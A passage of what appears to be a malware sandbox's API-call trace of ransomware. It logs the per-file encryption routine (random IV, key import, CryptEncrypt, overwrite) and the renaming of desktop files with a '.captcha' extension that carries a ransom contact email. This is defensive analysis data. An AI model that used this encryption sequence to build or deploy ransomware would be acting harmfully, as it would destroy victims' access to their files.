Flags=0x0, Size=0x50) returned 0x545248 [0120.266] CryptEncrypt (in: hKey=0x53a950, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x545248*, pdwDataLen=0x329fc78*=0x50, dwBufLen=0x50 | out: pbData=0x545248*, pdwDataLen=0x329fc78*=0x50) returned 1 [0120.266] CryptDestroyKey (hKey=0x53a950) returned 1 [0120.266] WriteFile (in: hFile=0x124, lpBuffer=0x545248*, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0x329fc90, lpOverlapped=0x0 | out: lpBuffer=0x545248*, lpNumberOfBytesWritten=0x329fc90*=0x50, lpOverlapped=0x0) returned 1 [0120.266] WriteFile (in: hFile=0x124, lpBuffer=0x329fc98*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x329fc90, lpOverlapped=0x0 | out: lpBuffer=0x329fc98*, lpNumberOfBytesWritten=0x329fc90*=0x4, lpOverlapped=0x0) returned 1 [0120.266] WriteFile (in: hFile=0x124, lpBuffer=0x544120*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x329fc90, lpOverlapped=0x0 | out: lpBuffer=0x544120*, lpNumberOfBytesWritten=0x329fc90*=0x10, lpOverlapped=0x0) returned 1 [0120.267] WriteFile (in: hFile=0x124, lpBuffer=0x545138*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x329fc90, lpOverlapped=0x0 | out: lpBuffer=0x545138*, lpNumberOfBytesWritten=0x329fc90*=0x80, lpOverlapped=0x0) returned 1 [0120.267] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fcb8 | out: lpNewFilePointer=0x0) returned 1 [0120.267] WriteFile (in: hFile=0x124, lpBuffer=0x329fca8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x329fc90, lpOverlapped=0x0 | out: lpBuffer=0x329fca8*, lpNumberOfBytesWritten=0x329fc90*=0x8, lpOverlapped=0x0) returned 1 [0120.267] CryptImportKey (in: hProv=0x534c08, pbData=0x545038, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x329fc94 | out: phKey=0x329fc94*=0x53a950) returned 1 [0120.267] CryptSetKeyParam (hKey=0x53a950, dwParam=0x1, pbData=0x544120, dwFlags=0x0) returned 1 [0120.267] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.267] ReadFile (in: hFile=0x124, lpBuffer=0x3090020, nNumberOfBytesToRead=0x18c85, lpNumberOfBytesRead=0x329fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3090020*, lpNumberOfBytesRead=0x329fc9c*=0x18c85, lpOverlapped=0x0) returned 1 [0120.268] CryptEncrypt (in: hKey=0x53a950, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3090020*, pdwDataLen=0x329fc78*=0x18c90, dwBufLen=0x18c90 | out: pbData=0x3090020*, pdwDataLen=0x329fc78*=0x18c90) returned 1 [0120.269] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.269] WriteFile (in: hFile=0x124, lpBuffer=0x3090020*, nNumberOfBytesToWrite=0x18c90, lpNumberOfBytesWritten=0x329fc90, lpOverlapped=0x0 | out: lpBuffer=0x3090020*, lpNumberOfBytesWritten=0x329fc90*=0x18c90, lpOverlapped=0x0) returned 1 [0120.270] CryptDestroyKey (hKey=0x53a950) returned 1 [0120.270] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x18d74, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.270] SetEndOfFile (hFile=0x124) returned 1 [0120.276] GetProcessHeap () returned 0x520000 [0120.276] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x545248 | out: hHeap=0x520000) returned 1 [0120.276] GetProcessHeap () returned 0x520000 [0120.276] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x544120 | out: hHeap=0x520000) returned 1 [0120.276] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\VEOSuKZMb2iFfRfNLI.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\veosukzmb2iffrfnli.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\VEOSuKZMb2iFfRfNLI.jpg.[4B2E4630].[garantos@mailfence.com].captcha" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\veosukzmb2iffrfnli.jpg.[4b2e4630].[garantos@mailfence.com].captcha")) returned 1 [0120.324] CloseHandle (hObject=0x124) returned 1 [0120.324] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0x0) returned 0x102 [0120.324] FindNextFileW (in: hFindFile=0x53a9e0, lpFindFileData=0x329fd20 | out: lpFindFileData=0x329fd20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe96f1650, ftCreationTime.dwHighDateTime=0x1d5daf2, ftLastAccessTime.dwLowDateTime=0xcd4277b0, ftLastAccessTime.dwHighDateTime=0x1d5e303, ftLastWriteTime.dwLowDateTime=0xcd4277b0, ftLastWriteTime.dwHighDateTime=0x1d5e303, nFileSizeHigh=0x0, nFileSizeLow=0x150be, dwReserved0=0x0, dwReserved1=0xffff, cFileName="W7RXP9kYuvmTV.gif", cAlternateFileName="W7RXP9~1.GIF")) returned 1 [0120.325] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\W7RXP9kYuvmTV.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\w7rxp9kyuvmtv.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0120.325] GetProcessHeap () returned 0x520000 [0120.325] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x544120 [0120.325] CryptGenRandom (in: hProv=0x534c08, dwLen=0x10, pbBuffer=0x544120 | out: pbBuffer=0x544120) returned 1 [0120.325] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fcb0 | out: lpNewFilePointer=0x0) returned 1 [0120.325] WriteFile (in: hFile=0x124, lpBuffer=0x329fcc0*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x329fc90, lpOverlapped=0x0 | out: lpBuffer=0x329fcc0*, lpNumberOfBytesWritten=0x329fc90*=0x2, lpOverlapped=0x0) returned 1 [0120.326] CryptImportKey (in: hProv=0x534c08, pbData=0x545100, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x329fc94 | out: phKey=0x329fc94*=0x53a950) returned 1 [0120.326] CryptSetKeyParam (hKey=0x53a950, dwParam=0x1, pbData=0x544120, dwFlags=0x0) returned 1 [0120.326] GetProcessHeap () returned 0x520000 [0120.326] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5354c8 [0120.326] CryptEncrypt (in: hKey=0x53a950, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x5354c8*, pdwDataLen=0x329fc78*=0x40, dwBufLen=0x40 | out: pbData=0x5354c8*, pdwDataLen=0x329fc78*=0x40) returned 1 [0120.326] CryptDestroyKey (hKey=0x53a950) returned 1 [0120.326] WriteFile (in: hFile=0x124, lpBuffer=0x5354c8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x329fc90, lpOverlapped=0x0 | out: lpBuffer=0x5354c8*, lpNumberOfBytesWritten=0x329fc90*=0x40, lpOverlapped=0x0) returned 1 [0120.326] WriteFile (in: hFile=0x124, lpBuffer=0x329fc98*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x329fc90, lpOverlapped=0x0 | out: lpBuffer=0x329fc98*, lpNumberOfBytesWritten=0x329fc90*=0x4, lpOverlapped=0x0) returned 1 [0120.326] WriteFile (in: hFile=0x124, lpBuffer=0x544120*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x329fc90, lpOverlapped=0x0 | out: lpBuffer=0x544120*, lpNumberOfBytesWritten=0x329fc90*=0x10, lpOverlapped=0x0) returned 1 [0120.326] WriteFile (in: hFile=0x124, lpBuffer=0x5451c0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x329fc90, lpOverlapped=0x0 | out: lpBuffer=0x5451c0*, lpNumberOfBytesWritten=0x329fc90*=0x80, lpOverlapped=0x0) returned 1 [0120.326] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fcb8 | out: lpNewFilePointer=0x0) returned 1 [0120.326] WriteFile (in: hFile=0x124, lpBuffer=0x329fca8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x329fc90, lpOverlapped=0x0 | out: lpBuffer=0x329fca8*, lpNumberOfBytesWritten=0x329fc90*=0x8, lpOverlapped=0x0) returned 1 [0120.326] CryptImportKey (in: hProv=0x534c08, pbData=0x545100, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x329fc94 | out: phKey=0x329fc94*=0x53a950) returned 1 [0120.326] CryptSetKeyParam (hKey=0x53a950, dwParam=0x1, pbData=0x544120, dwFlags=0x0) returned 1 [0120.327] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.327] ReadFile (in: hFile=0x124, lpBuffer=0x3090020, nNumberOfBytesToRead=0x150be, lpNumberOfBytesRead=0x329fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3090020*, lpNumberOfBytesRead=0x329fc9c*=0x150be, lpOverlapped=0x0) returned 1 [0120.327] CryptEncrypt (in: hKey=0x53a950, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3090020*, pdwDataLen=0x329fc78*=0x150c0, dwBufLen=0x150c0 | out: pbData=0x3090020*, pdwDataLen=0x329fc78*=0x150c0) returned 1 [0120.328] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.328] WriteFile (in: hFile=0x124, lpBuffer=0x3090020*, nNumberOfBytesToWrite=0x150c0, lpNumberOfBytesWritten=0x329fc90, lpOverlapped=0x0 | out: lpBuffer=0x3090020*, lpNumberOfBytesWritten=0x329fc90*=0x150c0, lpOverlapped=0x0) returned 1 [0120.328] CryptDestroyKey (hKey=0x53a950) returned 1 [0120.328] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x15194, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.328] SetEndOfFile (hFile=0x124) returned 1 [0120.332] GetProcessHeap () returned 0x520000 [0120.332] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5354c8 | out: hHeap=0x520000) returned 1 [0120.332] GetProcessHeap () returned 0x520000 [0120.332] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x544120 | out: hHeap=0x520000) returned 1 [0120.332] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\W7RXP9kYuvmTV.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\w7rxp9kyuvmtv.gif"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\W7RXP9kYuvmTV.gif.[4B2E4630].[garantos@mailfence.com].captcha" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\w7rxp9kyuvmtv.gif.[4b2e4630].[garantos@mailfence.com].captcha")) returned 1 [0120.345] CloseHandle (hObject=0x124) returned 1 [0120.346] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0x0) returned 0x102 [0120.346] FindNextFileW (in: hFindFile=0x53a9e0, lpFindFileData=0x329fd20 | out: lpFindFileData=0x329fd20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x59a5fea0, ftCreationTime.dwHighDateTime=0x1d5e5e5, ftLastAccessTime.dwLowDateTime=0xfb0e0590, ftLastAccessTime.dwHighDateTime=0x1d5e085, ftLastWriteTime.dwLowDateTime=0xfb0e0590, ftLastWriteTime.dwHighDateTime=0x1d5e085, nFileSizeHigh=0x0, nFileSizeLow=0x839a, dwReserved0=0x0, dwReserved1=0xffff, cFileName="wu4Z6746em5wpqR.swf", cAlternateFileName="WU4Z67~1.SWF")) returned 1 [0120.346] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\wu4Z6746em5wpqR.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\wu4z6746em5wpqr.swf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0120.346] GetProcessHeap () returned 0x520000 [0120.346] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x544120 [0120.346] CryptGenRandom (in: hProv=0x534c08, dwLen=0x10, pbBuffer=0x544120 | out: pbBuffer=0x544120) returned 1 [0120.346] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fcb0 | out: lpNewFilePointer=0x0) returned 1 [0120.346] WriteFile (in: hFile=0x124, lpBuffer=0x329fcc0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x329fc90, lpOverlapped=0x0 | out: lpBuffer=0x329fcc0*, lpNumberOfBytesWritten=0x329fc90*=0x6, lpOverlapped=0x0) returned 1 [0120.347] CryptImportKey (in: hProv=0x534c08, pbData=0x545038, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x329fc94 | out: phKey=0x329fc94*=0x53a950) returned 1 [0120.347] CryptSetKeyParam (hKey=0x53a950, dwParam=0x1, pbData=0x544120, dwFlags=0x0) returned 1 [0120.347] GetProcessHeap () returned 0x520000 [0120.348] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x545248 [0120.348] CryptEncrypt (in: hKey=0x53a950, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x545248*, pdwDataLen=0x329fc78*=0x50, dwBufLen=0x50 | out: pbData=0x545248*, pdwDataLen=0x329fc78*=0x50) returned 1 [0120.348] CryptDestroyKey (hKey=0x53a950) returned 1 [0120.348] WriteFile (in: hFile=0x124, lpBuffer=0x545248*, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0x329fc90, lpOverlapped=0x0 | out: lpBuffer=0x545248*, lpNumberOfBytesWritten=0x329fc90*=0x50, lpOverlapped=0x0) returned 1 [0120.348] WriteFile (in: hFile=0x124, lpBuffer=0x329fc98*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x329fc90, lpOverlapped=0x0 | out: lpBuffer=0x329fc98*, lpNumberOfBytesWritten=0x329fc90*=0x4, lpOverlapped=0x0) returned 1 [0120.348] WriteFile (in: hFile=0x124, lpBuffer=0x544120*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x329fc90, lpOverlapped=0x0 | out: lpBuffer=0x544120*, lpNumberOfBytesWritten=0x329fc90*=0x10, lpOverlapped=0x0) returned 1 [0120.348] WriteFile (in: hFile=0x124, lpBuffer=0x545138*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x329fc90, lpOverlapped=0x0 | out: lpBuffer=0x545138*, lpNumberOfBytesWritten=0x329fc90*=0x80, lpOverlapped=0x0) returned 1 [0120.348] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fcb8 | out: lpNewFilePointer=0x0) returned 1 [0120.348] WriteFile (in: hFile=0x124, lpBuffer=0x329fca8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x329fc90, lpOverlapped=0x0 | out: lpBuffer=0x329fca8*, lpNumberOfBytesWritten=0x329fc90*=0x8, lpOverlapped=0x0) returned 1 [0120.348] CryptImportKey (in: hProv=0x534c08, pbData=0x545038, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x329fc94 | out: phKey=0x329fc94*=0x53a950) returned 1 [0120.348] CryptSetKeyParam (hKey=0x53a950, dwParam=0x1, pbData=0x544120, dwFlags=0x0) returned 1 [0120.348] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.348] ReadFile (in: hFile=0x124, lpBuffer=0x3090020, nNumberOfBytesToRead=0x839a, lpNumberOfBytesRead=0x329fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3090020*, lpNumberOfBytesRead=0x329fc9c*=0x839a, lpOverlapped=0x0) returned 1 [0120.349] CryptEncrypt (in: hKey=0x53a950, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3090020*, pdwDataLen=0x329fc78*=0x83a0, dwBufLen=0x83a0 | out: pbData=0x3090020*, pdwDataLen=0x329fc78*=0x83a0) returned 1 [0120.349] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.349] WriteFile (in: hFile=0x124, lpBuffer=0x3090020*, nNumberOfBytesToWrite=0x83a0, lpNumberOfBytesWritten=0x329fc90, lpOverlapped=0x0 | out: lpBuffer=0x3090020*, lpNumberOfBytesWritten=0x329fc90*=0x83a0, lpOverlapped=0x0) returned 1 [0120.349] CryptDestroyKey (hKey=0x53a950) returned 1 [0120.349] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x8484, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.349] SetEndOfFile (hFile=0x124) returned 1 [0120.353] GetProcessHeap () returned 0x520000 [0120.353] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x545248 | out: hHeap=0x520000) returned 1 [0120.353] GetProcessHeap () returned 0x520000 [0120.353] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x544120 | out: hHeap=0x520000) returned 1 [0120.353] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\wu4Z6746em5wpqR.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\wu4z6746em5wpqr.swf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\wu4Z6746em5wpqR.swf.[4B2E4630].[garantos@mailfence.com].captcha" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\wu4z6746em5wpqr.swf.[4b2e4630].[garantos@mailfence.com].captcha")) returned 1 [0120.356] CloseHandle (hObject=0x124) returned 1 [0120.356] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0x0) returned 0x102 [0120.356] FindNextFileW (in: hFindFile=0x53a9e0, lpFindFileData=0x329fd20 | out: lpFindFileData=0x329fd20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4f5e3860, ftCreationTime.dwHighDateTime=0x1d5e0f2, ftLastAccessTime.dwLowDateTime=0x75c64c90, ftLastAccessTime.dwHighDateTime=0x1d5e4f8, ftLastWriteTime.dwLowDateTime=0x75c64c90, ftLastWriteTime.dwHighDateTime=0x1d5e4f8, nFileSizeHigh=0x0, nFileSizeLow=0x15723, dwReserved0=0x0, dwReserved1=0xffff, cFileName="Y6o3bM eaIX_bwj.png", cAlternateFileName="Y6O3BM~1.PNG")) returned 1 [0120.356] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Y6o3bM eaIX_bwj.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\y6o3bm eaix_bwj.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0120.356] GetProcessHeap () returned 0x520000 [0120.356] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x544120 [0120.356] CryptGenRandom (in: hProv=0x534c08, dwLen=0x10, pbBuffer=0x544120 | out: pbBuffer=0x544120) returned 1 [0120.356] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fcb0 | out: lpNewFilePointer=0x0) returned 1 [0120.356] WriteFile (in: hFile=0x124, lpBuffer=0x329fcc0*, nNumberOfBytesToWrite=0xd, lpNumberOfBytesWritten=0x329fc90, lpOverlapped=0x0 | out: lpBuffer=0x329fcc0*, lpNumberOfBytesWritten=0x329fc90*=0xd, lpOverlapped=0x0) returned 1 [0120.357] CryptImportKey (in: hProv=0x534c08, pbData=0x545100, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x329fc94 | out: phKey=0x329fc94*=0x53a950) returned 1 [0120.357] CryptSetKeyParam (hKey=0x53a950, dwParam=0x1, pbData=0x544120, dwFlags=0x0) returned 1 [0120.357] GetProcessHeap () returned 0x520000 [0120.357] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x545248 [0120.357] CryptEncrypt (in: hKey=0x53a950, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x545248*, pdwDataLen=0x329fc78*=0x50, dwBufLen=0x50 | out: pbData=0x545248*, pdwDataLen=0x329fc78*=0x50) returned 1 [0120.358] CryptDestroyKey (hKey=0x53a950) returned 1 [0120.358] WriteFile (in: hFile=0x124, lpBuffer=0x545248*, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0x329fc90, lpOverlapped=0x0 | out: lpBuffer=0x545248*, lpNumberOfBytesWritten=0x329fc90*=0x50, lpOverlapped=0x0) returned 1 [0120.358] WriteFile (in: hFile=0x124, lpBuffer=0x329fc98*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x329fc90, lpOverlapped=0x0 | out: lpBuffer=0x329fc98*, lpNumberOfBytesWritten=0x329fc90*=0x4, lpOverlapped=0x0) returned 1 [0120.358] WriteFile (in: hFile=0x124, lpBuffer=0x544120*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x329fc90, lpOverlapped=0x0 | out: lpBuffer=0x544120*, lpNumberOfBytesWritten=0x329fc90*=0x10, lpOverlapped=0x0) returned 1 [0120.358] WriteFile (in: hFile=0x124, lpBuffer=0x5451c0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x329fc90, lpOverlapped=0x0 | out: lpBuffer=0x5451c0*, lpNumberOfBytesWritten=0x329fc90*=0x80, lpOverlapped=0x0) returned 1 [0120.358] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fcb8 | out: lpNewFilePointer=0x0) returned 1 [0120.358] WriteFile (in: hFile=0x124, lpBuffer=0x329fca8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x329fc90, lpOverlapped=0x0 | out: lpBuffer=0x329fca8*, lpNumberOfBytesWritten=0x329fc90*=0x8, lpOverlapped=0x0) returned 1 [0120.358] CryptImportKey (in: hProv=0x534c08, pbData=0x545100, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x329fc94 | out: phKey=0x329fc94*=0x53a950) returned 1 [0120.358] CryptSetKeyParam (hKey=0x53a950, dwParam=0x1, pbData=0x544120, dwFlags=0x0) returned 1 [0120.358] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.358] ReadFile (in: hFile=0x124, lpBuffer=0x3090020, nNumberOfBytesToRead=0x15723, lpNumberOfBytesRead=0x329fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3090020*, lpNumberOfBytesRead=0x329fc9c*=0x15723, lpOverlapped=0x0) returned 1 [0120.359] CryptEncrypt (in: hKey=0x53a950, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3090020*, pdwDataLen=0x329fc78*=0x15730, dwBufLen=0x15730 | out: pbData=0x3090020*, pdwDataLen=0x329fc78*=0x15730) returned 1 [0120.360] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.360] WriteFile (in: hFile=0x124, lpBuffer=0x3090020*, nNumberOfBytesToWrite=0x15730, lpNumberOfBytesWritten=0x329fc90, lpOverlapped=0x0 | out: lpBuffer=0x3090020*, lpNumberOfBytesWritten=0x329fc90*=0x15730, lpOverlapped=0x0) returned 1 [0120.360] CryptDestroyKey (hKey=0x53a950) returned 1 [0120.360] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x15814, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.360] SetEndOfFile (hFile=0x124) returned 1 [0120.363] GetProcessHeap () returned 0x520000 [0120.363] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x545248 | out: hHeap=0x520000) returned 1 [0120.363] GetProcessHeap () returned 0x520000 [0120.363] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x544120 | out: hHeap=0x520000) returned 1 [0120.363] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Y6o3bM eaIX_bwj.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\y6o3bm eaix_bwj.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Y6o3bM eaIX_bwj.png.[4B2E4630].[garantos@mailfence.com].captcha" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\y6o3bm eaix_bwj.png.[4b2e4630].[garantos@mailfence.com].captcha")) returned 1 [0120.367] CloseHandle (hObject=0x124) returned 1 [0120.367] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0x0) returned 0x102 [0120.367] FindNextFileW (in: hFindFile=0x53a9e0, lpFindFileData=0x329fd20 | out: lpFindFileData=0x329fd20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe70b7c20, ftCreationTime.dwHighDateTime=0x1d5d9e7, ftLastAccessTime.dwLowDateTime=0x269b4440, ftLastAccessTime.dwHighDateTime=0x1d5da7b, ftLastWriteTime.dwLowDateTime=0x269b4440, ftLastWriteTime.dwHighDateTime=0x1d5da7b, nFileSizeHigh=0x0, nFileSizeLow=0x4c77, dwReserved0=0x0, dwReserved1=0xffff, cFileName="zdia.flv", cAlternateFileName="")) returned 1 [0120.367] FindNextFileW (in: hFindFile=0x53a9e0, lpFindFileData=0x329fd20 | out: lpFindFileData=0x329fd20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe70b7c20, ftCreationTime.dwHighDateTime=0x1d5d9e7, ftLastAccessTime.dwLowDateTime=0x269b4440, ftLastAccessTime.dwHighDateTime=0x1d5da7b, ftLastWriteTime.dwLowDateTime=0x269b4440, ftLastWriteTime.dwHighDateTime=0x1d5da7b, nFileSizeHigh=0x0, nFileSizeLow=0x4c77, dwReserved0=0x0, dwReserved1=0xffff, cFileName="zdia.flv", cAlternateFileName="")) returned 0 [0120.367] GetProcessHeap () returned 0x520000 [0120.367] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x53c878 [0120.367] CryptImportKey (in: hProv=0x534c08, pbData=0x329fc80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x534bd4 | out: phKey=0x534bd4*=0x53a950) returned 1 [0120.367] CryptDecrypt (in: hKey=0x53a950, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x53c878, pdwDataLen=0x329fce8 | out: pbData=0x53c878, pdwDataLen=0x329fce8) returned 1 [0120.367] CryptDestroyKey (hKey=0x53a950) returned 1 [0120.367] GetProcessHeap () returned 0x520000 [0120.367] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5354c8 [0120.367] CryptImportKey (in: hProv=0x534c08, pbData=0x329fc80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x534bd4 | out: phKey=0x534bd4*=0x53a950) returned 1 [0120.367] CryptDecrypt (in: hKey=0x53a950, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x5354c8, pdwDataLen=0x329fce8 | out: pbData=0x5354c8, pdwDataLen=0x329fce8) returned 1 [0120.367] CryptDestroyKey (hKey=0x53a950) returned 1 [0120.367] GetProcessHeap () returned 0x520000 [0120.367] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x400) returned 0x56a6a8 [0120.367] CryptImportKey (in: hProv=0x534c08, pbData=0x329fc80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x534bd4 | out: phKey=0x534bd4*=0x53a950) returned 1 [0120.367] CryptDecrypt (in: hKey=0x53a950, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x56a6a8, pdwDataLen=0x329fce8 | out: pbData=0x56a6a8, pdwDataLen=0x329fce8) returned 1 [0120.367] CryptDestroyKey (hKey=0x53a950) returned 1 [0120.367] wsprintfW (in: 